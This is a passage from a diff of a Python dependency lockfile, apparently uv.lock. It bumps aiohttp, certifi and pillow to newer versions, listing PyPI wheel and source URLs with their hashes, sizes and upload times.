+ { url = "https://files.pythonhosted.org/packages/8e/42/084651e9efb5cadb99265f786df60f2a7b353cead7bfd2c87003cb4867ad/aiohttp-3.14.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ae53924aa853a7a2ca20ed4142c7c6b56338e4d4cd999e2980075b9efc2e257a", size = 559636, upload-time = "2026-10-11T00:59:43.677Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/fe/92838944e601f0fe195fd3f3ada37e29fbee3d19bfd323fe15937ec79d36/aiohttp-3.14.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a2c473a355f9239efcb72c92d5abfd8fcdb0cc78c8e9af607e72ca12dbb36593", size = 552588, upload-time = "2026-10-11T00:59:45.592Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/b8/dd9b95c5c20ceae1b47738e656bd79e9883e3117a9cc8b143901eb604e9a/aiohttp-3.14.5-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:32e8fa6644e541fcd7e02430588c7fc93b602c1778ea0bc345505db76b61cfb4", size = 1928224, upload-time = "2026-10-11T00:59:47.294Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/47/70010cd2ba8746968d53d433ff328c33f06a66c99da5f3de759c64a6b2eb/aiohttp-3.14.5-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:579f97d5120f2971876d2ddca2968135f6944d00c44c3a6590ad7d86ca9b403f", size = 1877674, upload-time = "2026-10-11T00:59:49.472Z" },
+ { url = "https://files.pythonhosted.org/packages/c5/a1/b026f071dbd87f0bdba86b92d47e46f3899e3ad7143b6e0fe7e7887090b4/aiohttp-3.14.5-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:24409db442e2fb6e766bc7f3943851a8381dec3098140e43bb2e843b79e31b12", size = 1985850, upload-time = "2026-10-11T00:59:51.296Z" },
+ { url = "https://files.pythonhosted.org/packages/36/d1/f7b6f6f8c3cb5a71b53baeddc2e70c224c28b12a23a55c42994c504019b7/aiohttp-3.14.5-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5e8f97c0488ffda3082766ac0f2c8150a9a58c4d05788330e479cfd449b37939", size = 2105471, upload-time = "2026-10-11T00:59:53.191Z" },
+ { url = "https://files.pythonhosted.org/packages/42/74/2a2b22953de15c6c8a80debf26db3047e4e8a5a5db6dd7c2c6c01eec0605/aiohttp-3.14.5-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:50a195903119008fe9cc68710535eb37f556ffffd6a7759afe70a2c145587045", size = 1929915, upload-time = "2026-10-11T00:59:55.609Z" },
+ { url = "https://files.pythonhosted.org/packages/33/ad/f80e8d33933d0eacd0217efa3b7fb32c9f48ed480ed0db53cf9948bf474f/aiohttp-3.14.5-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0133c3c3b54a0bf1e71fa5c1ad95c93f07fd54e24ef1fe182f5122e1573d2bf1", size = 1773832, upload-time = "2026-10-11T00:59:57.611Z" },
+ { url = "https://files.pythonhosted.org/packages/04/a4/0273d239f3e3bb69438f209c64c82e1f98dc60d5db264795e41f7dd05dcb/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c172db893e516e1358e65a95ee20b7ce7173963eefe318b6ab2a2220688b999e", size = 1901001, upload-time = "2026-10-11T01:00:00.605Z" },
+ { url = "https://files.pythonhosted.org/packages/16/ed/7dd439d26c654645bc34ca3c9a822fc11c1c51801fed1cefdfe1cc41c1f6/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:f2a7966bda23dd85051f1661ce0ace38d6890e05ec6c357ecae9d2479cba377e", size = 1907218, upload-time = "2026-10-11T01:00:02.699Z" },
+ { url = "https://files.pythonhosted.org/packages/32/dd/86249c3b8248562a17fd3e22ee0c164378d65766f01aceef62cf52783710/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:4887d130a7bbfed3a85493bb5a25e5b5b558d40c1d986dd16970d2bb26d63793", size = 1958650, upload-time = "2026-10-11T01:00:04.851Z" },
+ { url = "https://files.pythonhosted.org/packages/bc/0b/ca4d53d68f683ce195807fd0aeb063bf6d1c6b39343fff234c9524e8d5a9/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:225c579c23b68b343cccea27a7e06e3bd8ec23a09c30b427eb3f1e4ca6239b20", size = 1760057, upload-time = "2026-10-11T01:00:06.978Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/42/005437ffd7fa56c2ce3347add40404b654a32754ce91f2e2a14b9e5ab2bc/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:ab52d8f1fc1b64821c1fbad64a647ed6203627004059a6d1ed4f0858a1499703", size = 1978081, upload-time = "2026-10-11T01:00:08.868Z" },
+ { url = "https://files.pythonhosted.org/packages/03/71/3a5b66fe1b7b23d3c6524350817ed55de5feb7fbb4cccba7cbe044d118dd/aiohttp-3.14.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:cb131d775a1573c1aee66656bd78b023577bbdb6cb8349a07773bd4f73e68a6e", size = 1922954, upload-time = "2026-10-11T01:00:11.035Z" },
+ { url = "https://files.pythonhosted.org/packages/69/84/d08a554f281d42fd7c6b2b6dd7738f3e3a7a9f657ddd87e11ca2091cdfe3/aiohttp-3.14.5-cp311-cp311-win32.whl", hash = "sha256:e87046c8ff77a8decdb6a41d8ab25824b47531b2da933aeab0c1e21c7acff329", size = 488101, upload-time = "2026-10-11T01:00:12.933Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/15/52b5e65f02b33686ae49f1518548ae4f5a7adaf31d9d3c54fa12a143137b/aiohttp-3.14.5-cp311-cp311-win_amd64.whl", hash = "sha256:6f275c11d1aa6d4c458e05a68be084efe3c55a113d99e3f46a318098e52948fc", size = 512575, upload-time = "2026-10-11T01:00:14.743Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/b9/bb75012635f3defb0f7cbb7c4ae391e36bb9cb3fbdca3b9944e2ebebf743/aiohttp-3.14.5-cp311-cp311-win_arm64.whl", hash = "sha256:b032a0023eb41d768ce77d83210ab2a3c389bc0b09313273c7e1eca48c10a755", size = 493179, upload-time = "2026-10-11T01:00:16.961Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/94/6ba86efddcb616c811b40e6a0dfdd862738f647e4e3860a961075d5e9ed8/aiohttp-3.14.5-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:df37b620684e19b5e25724412518ccafc3b1a49cdac706fdbd2f983fad943450", size = 817499, upload-time = "2026-10-11T01:00:18.901Z" },
+ { url = "https://files.pythonhosted.org/packages/5e/e1/7bca6d84dabd228aa8eb4b7f9feac2586aaa9be5505d7d65bf287a615c43/aiohttp-3.14.5-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ef60869969180ec2464f1349aff07138ae35ca2200f0946cb3552e49e8f301a8", size = 549467, upload-time = "2026-10-11T01:00:20.854Z" },
+ { url = "https://files.pythonhosted.org/packages/64/91/11b89f45ca486252dd67dd5f3231fec04bf5518da39a95cb3997619f17fb/aiohttp-3.14.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d079c0a0135c36e7beb6f1c88087c8f108dc5891cdd0b5eafa778421bda70ed2", size = 548067, upload-time = "2026-10-11T01:00:22.659Z" },
+ { url = "https://files.pythonhosted.org/packages/22/ff/c6615806c14aab34f82b9424ccde8ce6e417315fd57ce1c5b4d4747888e1/aiohttp-3.14.5-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:abfda5cb094a829f7bc25216a32f7db2e85cc65bd59910f8e7b40b3d9b224764", size = 1896245, upload-time = "2026-10-11T01:00:24.638Z" },
+ { url = "https://files.pythonhosted.org/packages/39/b2/25a8c971ae6a92c8394d77e42422d7f38989e05cf41a5ceb92d73d67ab7e/aiohttp-3.14.5-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:9cc882cf8619109583c906b4d4a85d6a111a98afa34b7a450d1e08118d016820", size = 1872180, upload-time = "2026-10-11T01:00:26.838Z" },
+ { url = "https://files.pythonhosted.org/packages/2f/d5/99f93ea36cc5205e47c1e5a803e087f2ad21b5430b5db2e942cb6e988a37/aiohttp-3.14.5-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7457580535e019e1247ea35d6a02bf081ad30c26d0cbc210c93f6c3ab67a0835", size = 1937261, upload-time = "2026-10-11T01:00:28.74Z" },
+ { url = "https://files.pythonhosted.org/packages/40/a6/9ac9c9e6695040bd73d2584a1b59a9388f6433c76d5294a7bf591e21ffe5/aiohttp-3.14.5-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c5ed596aedb9c42afd3fe0aae3117725378ac73d2cc5ddc735056fbdb96c5d02", size = 2064994, upload-time = "2026-10-11T01:00:30.623Z" },
+ { url = "https://files.pythonhosted.org/packages/da/e4/aa172eb534b7f02f1f8ff1c3213347eaf3cf218db91a727c6863c22f1035/aiohttp-3.14.5-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:20f085697d7e911f1f73c43ed03fafbed1e7121797e2eb5428efa80398060584", size = 1919630, upload-time = "2026-10-11T01:00:32.548Z" },
+ { url = "https://files.pythonhosted.org/packages/06/7d/4eedafc5bababa8932636c141e346806966eade12c0b7e5946d43bf8218b/aiohttp-3.14.5-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:74b0a9c8270f9b0a11410e124ff8d4f18bfc1f1837440ec84da5ae7b50927b5d", size = 1710016, upload-time = "2026-10-11T01:00:34.471Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/94/eee018537ba19da0ceb2ac79cab83faed4ac49568e08376e2799043f2538/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:19e2ba471507c34f8252402ab50f5ab512398b9ea8c8f1cb26beb3f75793ba30", size = 1858112, upload-time = "2026-10-11T01:00:36.581Z" },
+ { url = "https://files.pythonhosted.org/packages/68/76/354653a306547238f3427283905972d796ba7c292ba9977abec9f2b6f260/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:d418ce2af40c6bb685b3f663e9e8de27cb0a22431d8e88a167348d7f01878073", size = 1896371, upload-time = "2026-10-11T01:00:38.478Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/ec/63e8c7136b570e356345ad3174e3820fdc973ea10712cb6c649bf875755a/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:70cb4008ac2ed1e0ca9e824deb4b53d3aa0d939109698ebf1e723a84337bd794", size = 1905836, upload-time = "2026-10-11T01:00:40.527Z" },
+ { url = "https://files.pythonhosted.org/packages/57/d8/11365bda144b127928cd42533d0eff78a55613c9e28f81941bd6630ea887/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:a23fe35d776bc03cb495938b9594450d047e3bc08c5255315a82323e9cb7d2dd", size = 1696534, upload-time = "2026-10-11T01:00:42.686Z" },
+ { url = "https://files.pythonhosted.org/packages/2f/3d/82df0461b18e00b2998f205c03e0d3010222478c43640aceb8e03dcd7e8f/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3e0eb43bed3c6801a6cee315195377789e90b2a72c2277a475b578535312488d", size = 1933970, upload-time = "2026-10-11T01:00:44.71Z" },
+ { url = "https://files.pythonhosted.org/packages/03/ad/6ddfe0aacd931c17b53533336d97e9d11a98b96d6ae815a9da0b19f82ccf/aiohttp-3.14.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be7dd397d64ca3e1869626fa9318aaebb54b7bf93bc72d7a205448d83e4f748", size = 1899501, upload-time = "2026-10-11T01:00:46.629Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/8e/189bdd9ae4793059bb09f6dc880f211a6c6c7859cebcbf33912dbfab7dd7/aiohttp-3.14.5-cp312-cp312-win32.whl", hash = "sha256:eb324e2009fb54db30a071dad7caf6998ee2879c4704007efb244514dad1fec1", size = 480370, upload-time = "2026-10-11T01:00:48.468Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/ce/1f08114679d49655b30a6e0a29858375c94b82c1de1a0bd0a20c2fee8b02/aiohttp-3.14.5-cp312-cp312-win_amd64.whl", hash = "sha256:2cc38a4f2b516bef1714e690df87a0e043faf1a7693c82d860091684453d5111", size = 506141, upload-time = "2026-10-11T01:00:50.272Z" },
+ { url = "https://files.pythonhosted.org/packages/79/d4/c7b4f60b16a1b7e43249fa9031ae05e7e8c341ba4b7d1866f914dafeaa0e/aiohttp-3.14.5-cp312-cp312-win_arm64.whl", hash = "sha256:a63afd1f757de949028387e65a7127b61ad0f775432dbb0e62816ae619fe69ac", size = 488108, upload-time = "2026-10-11T01:00:52.321Z" },
+ { url = "https://files.pythonhosted.org/packages/68/30/173960c42b05a6c59f7558e4b12a4b0d9ba376cf6aa9bde7f9e08a30ca8d/aiohttp-3.14.5-py3-none-any.whl", hash = "sha256:efc21a454892828368b11c2c780de0ff8bc991f73f6b99c6b66e56205470929b", size = 279517, upload-time = "2026-10-11T01:05:08.523Z" },
]
[[package]]
@@ -1848,11 +1849,11 @@ wheels = [
[[package]]
name = "certifi"
-version = "2026.1.4"
+version = "2026.10.19"
source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/1436c50cc46699de0230fbaacc1d1de7bfec413176099949e9d5112e88f2/certifi-2026.10.19.tar.gz", hash = "sha256:035c1e85572b141bf1c3a3eff0e33a8eb74917522f2559075ff8d2fea780a1ae", size = 137598, upload-time = "2026-10-20T02:24:16.604Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/51/29046e48f693c54e5b7412216d447a1d8362c9653148d98c02cdf65fa733/certifi-2026.10.19-py3-none-any.whl", hash = "sha256:42d35340cc5b9ba78e818ddbff0c5b1c2b779de448a340fd1b989f5fa8670e1b", size = 136464, upload-time = "2026-10-20T02:24:15.072Z" },
]
[[package]]
@@ -4636,33 +4637,38 @@ wheels = [
[[package]]
name = "pillow"
-version = "12.3.0"
+version = "13.0.0"
source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 47025035, upload-time = "2026-07-01T11:56:38.965Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/ce/a4/9cc30690a394a8305e8be4c9036aa16d0dfddadd09079860b582f562496d/pillow-13.0.0.tar.gz", hash = "sha256:cdcd1ba258178f7356d74170c9a81ba4eab6a5d55748bc402a5a2a6fe6be3510", size = 47058631, upload-time = "2026-10-16T22:18:09.718Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756", size = 5392415, upload-time = "2026-07-01T11:53:47.162Z" },
- { url = "https://files.pythonhosted.org/packages/b2/5b/a02d30018abd97ced9f5a6c63d28597694a00d066516b9c1c6de45859fc9/pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6", size = 4785266, upload-time = "2026-07-01T11:53:49.079Z" },
- { url = "https://files.pythonhosted.org/packages/c8/98/766667a4be768150a202836acd9fad19c06824ca86c4286d3cf6b274964e/pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd", size = 6263814, upload-time = "2026-07-01T11:53:51.32Z" },
- { url = "https://files.pythonhosted.org/packages/3b/2d/ede717bc1144f63886c21fd349bb95860b0d1a21149ff16f2bb362b612b6/pillow-12.3.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd", size = 6934408, upload-time = "2026-07-01T11:53:53.487Z" },
- { url = "https://files.pythonhosted.org/packages/a3/48/9c58b685e69d49c31af6c8eb9012055fab7e665785165c84796e2c73ce72/pillow-12.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c", size = 6337160, upload-time = "2026-07-01T11:53:55.457Z" },
- { url = "https://files.pythonhosted.org/packages/ff/fa/dc2a5c0ba6df93f67c31d34b808b7ce440b40cdbf96f0b81cde1d1e6fa93/pillow-12.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5", size = 7045172, upload-time = "2026-07-01T11:53:57.736Z" },
- { url = "https://files.pythonhosted.org/packages/86/a5/444817a4d4c4c2417df00513086ca196f388d8f9ef40c2e4ccd1ad1af54b/pillow-12.3.0-cp311-cp311-win32.whl", hash = "sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b", size = 6472232, upload-time = "2026-07-01T11:53:59.767Z" },
- { url = "https://files.pythonhosted.org/packages/63/c6/4bad1b18d132a50b27e1365e1ab163616f7a5bb56d330f66f9d1d9d4f9d4/pillow-12.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a", size = 7233653, upload-time = "2026-07-01T11:54:02.066Z" },
- { url = "https://files.pythonhosted.org/packages/fd/16/00f91ab7760dc842f5aad55217e80fc4a7067a0604535249bc8a2d6d9870/pillow-12.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26", size = 2568195, upload-time = "2026-07-01T11:54:04.622Z" },
- { url = "https://files.pythonhosted.org/packages/37/bf/fb3ebff8ddcb76aac5a01389251bbbb9519922a9b520d8247c1ca864a25d/pillow-12.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965", size = 5345969, upload-time = "2026-07-01T11:54:06.397Z" },
- { url = "https://files.pythonhosted.org/packages/d8/66/9a386a92561f402389a4fc70c18838bf6d35eb5eb5c6850b4b2dc64f5048/pillow-12.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7", size = 4780323, upload-time = "2026-07-01T11:54:09.351Z" },
- { url = "https://files.pythonhosted.org/packages/25/27/ac8f99618ffd3dde21db0f4d4b1d2ab00c0880595bfd17df103f7f39fd0c/pillow-12.3.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9", size = 6266838, upload-time = "2026-07-01T11:54:11.71Z" },
- { url = "https://files.pythonhosted.org/packages/84/21/a35af28dcc61f37ed850a2d64c65c701321dfbf25085e469d5559360cbbf/pillow-12.3.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91", size = 6940830, upload-time = "2026-07-01T11:54:13.732Z" },
- { url = "https://files.pythonhosted.org/packages/eb/51/8b08617af3ad95e33ce6d7dd2c99ed6c8298f7fb131636303956be022e25/pillow-12.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c", size = 6344383, upload-time = "2026-07-01T11:54:15.756Z" },
- { url = "https://files.pythonhosted.org/packages/1d/72/cf78ac9780bb93c28328f408973845a309d4d145041665f734572ced1b52/pillow-12.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df", size = 7052934, upload-time = "2026-07-01T11:54:17.721Z" },
- { url = "https://files.pythonhosted.org/packages/20/20/25e0f4dc178a6bc0696793720055519a0de89e7661dae886992decbd2f81/pillow-12.3.0-cp312-cp312-win32.whl", hash = "sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f", size = 6472684, upload-time = "2026-07-01T11:54:19.839Z" },
- { url = "https://files.pythonhosted.org/packages/45/89/da2f7971a317f83d807fdd4065c0af40208e59e692cc43d315a71a0e96d1/pillow-12.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09", size = 7227137, upload-time = "2026-07-01T11:54:22.025Z" },
- { url = "https://files.pythonhosted.org/packages/de/47/4845a0a6c0dbf1db8456bd9fc791f13c5ced7ced20606d08a0aacfd25b49/pillow-12.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510", size = 2568267, upload-time = "2026-07-01T11:54:24.051Z" },
- { url = "https://files.pythonhosted.org/packages/75/18/2e8b40223153ccbc60df07f9e8928dc0c76202aa4e55ae9f53962b6510d6/pillow-12.3.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468", size = 5302510, upload-time = "2026-07-01T11:56:25.736Z" },
- { url = "https://files.pythonhosted.org/packages/46/3e/51fabf59d5ab801ceab709453d3ab6b180083496579549de4c45ced6528a/pillow-12.3.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94", size = 4736058, upload-time = "2026-07-01T11:56:28.041Z" },
- { url = "https://files.pythonhosted.org/packages/bf/20/22fe9384b7949e25fb1293bcfc84fb82590ff4ea6b37c95b24d26d793d86/pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e", size = 5237776, upload-time = "2026-07-01T11:56:30.263Z" },
- { url = "https://files.pythonhosted.org/packages/08/14/f6ba68107680ffa74b39985f3f30884e41318fbc4250caa423c79b4788bb/pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3", size = 5860358, upload-time = "2026-07-01T11:56:32.68Z" },
- { url = "https://files.pythonhosted.org/packages/36/54/0169bc772ec491108b62f644f8ecf1fe5d8ae5ebafde2ee2142210166903/pillow-12.3.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a", size = 7231786, upload-time = "2026-07-01T11:56:35.046Z" },
+ { url = "https://files.pythonhosted.org/packages/6c/d7/af6af1b8cc55e07cb0489d5b0950bf5a9bb1461eeba825700b6d8d0e26ea/pillow-13.0.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:6f38f3f885a09cafc93fd667b1173a92f379e43785d635e7983c893f0da319fb", size = 5592324, upload-time = "2026-10-16T22:15:24.672Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/d2/2c12cb4fbb5d95f38d1001ff3d95fafcb830077018cba40e56a8f932dfbc/pillow-13.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37290fbef0c73e2d51d594eb78fded7dc7170d1c3ad0a890269e6fd8c8c4e061", size = 4856298, upload-time = "2026-10-16T22:15:27.669Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/ee/229b27472483a4801ea94990815e710391836afdf987b4b722b62bd75db6/pillow-13.0.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7c88c10dd432f3b39ccdafc9ed81d0c21b8fd634502574da76d1bfa4fe2c76d0", size = 6517304, upload-time = "2026-10-16T22:15:29.43Z" },
+ { url = "https://files.pythonhosted.org/packages/36/46/f509b74787f40ce0627501089d630b2c741b63b244c1f40b640b3b01e181/pillow-13.0.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a625df9a2a5597fa5e5266e01aefc82604bb85d291e3547981e863560d75da6c", size = 7140667, upload-time = "2026-10-16T22:15:31.368Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/a4/5a398b8ec2c37145397d6461c0b551c23ec03072aa64f357aed25e582b00/pillow-13.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:10b5019883c98f1dd819ca48ffc6f33a91cee04948fe637c605f4345c7cafd6f", size = 6610583, upload-time = "2026-10-16T22:15:34.025Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/7b/f2f1109b230fd4e2d57ab2305de31adc37ea9b4ff8719436c623cb484415/pillow-13.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f391dc92a015c478745192fe4f2e120c2af2aba18d9fe0616341cbf537599806", size = 7218241, upload-time = "2026-10-16T22:15:36.214Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/d3/069edb9083b267746baf59756282cacef904d3475c5288c7216fb5195a98/pillow-13.0.0-cp311-cp311-win32.whl", hash = "sha256:6a0920cb55df5a4d3f6862964908078c0bd59332bdd1bcd20d14e8c70ef27cc5", size = 6515278, upload-time = "2026-10-16T22:15:38.129Z" },
+ { url = "https://files.pythonhosted.org/packages/7d/f6/6e2d96413e4c9dbec12ea584d9e646d602877d4cce3ea669099f959deac6/pillow-13.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:d7710eb676e9bb68965cb045be0d333b4c0d7f9dfbaa7fbf121385b1588683d3", size = 7278471, upload-time = "2026-10-16T22:15:40.286Z" },
+ { url = "https://files.pythonhosted.org/packages/70/e7/baff21f8cb60496c8c250609501b88919eeedb4088d3da106f6c62f3f3c0/pillow-13.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:12fbb851cf323cc19aac3eea1df5ad17b57e91e9fe3cfd06100dba7bb8208c13", size = 2698981, upload-time = "2026-10-16T22:15:42.637Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/b8/58d79332229482eb0d27c82973850808c19d37e5bdc14443d3417bd373f5/pillow-13.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:67c8d44ad89fa7eb88de5d6ef6199b1e03dd24974f85a67639fc8badb801fe79", size = 5568643, upload-time = "2026-10-16T22:15:44.474Z" },
+ { url = "https://files.pythonhosted.org/packages/39/4b/f2ed53d83aa44ac19599ac0a54897f867fafb95f406980d1e24083f8cbe3/pillow-13.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc481f742ccda20e9ed760b8f978dff50f2a4e9bc253ac167fb0a05b0783ef52", size = 4852329, upload-time = "2026-10-16T22:15:46.284Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/bb/9e30e8ed18c20800ee327a12107d5249ad8dc444867b3adfcc21654e3c71/pillow-13.0.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8bf295fe459343bc6093c8e5e0df60bfa189e0fcb775a22e2c2488fdeccc6c0d", size = 6519309, upload-time = "2026-10-16T22:15:48.14Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/99/fdf65cc539e266ab93546c261bdf98411fe165c6e4e13f9dbf597097192b/pillow-13.0.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42d63be3af4f9b951b199b0a9d23365d37ab14687e6d77b74940432c8515c4ca", size = 7144542, upload-time = "2026-10-16T22:15:50.093Z" },
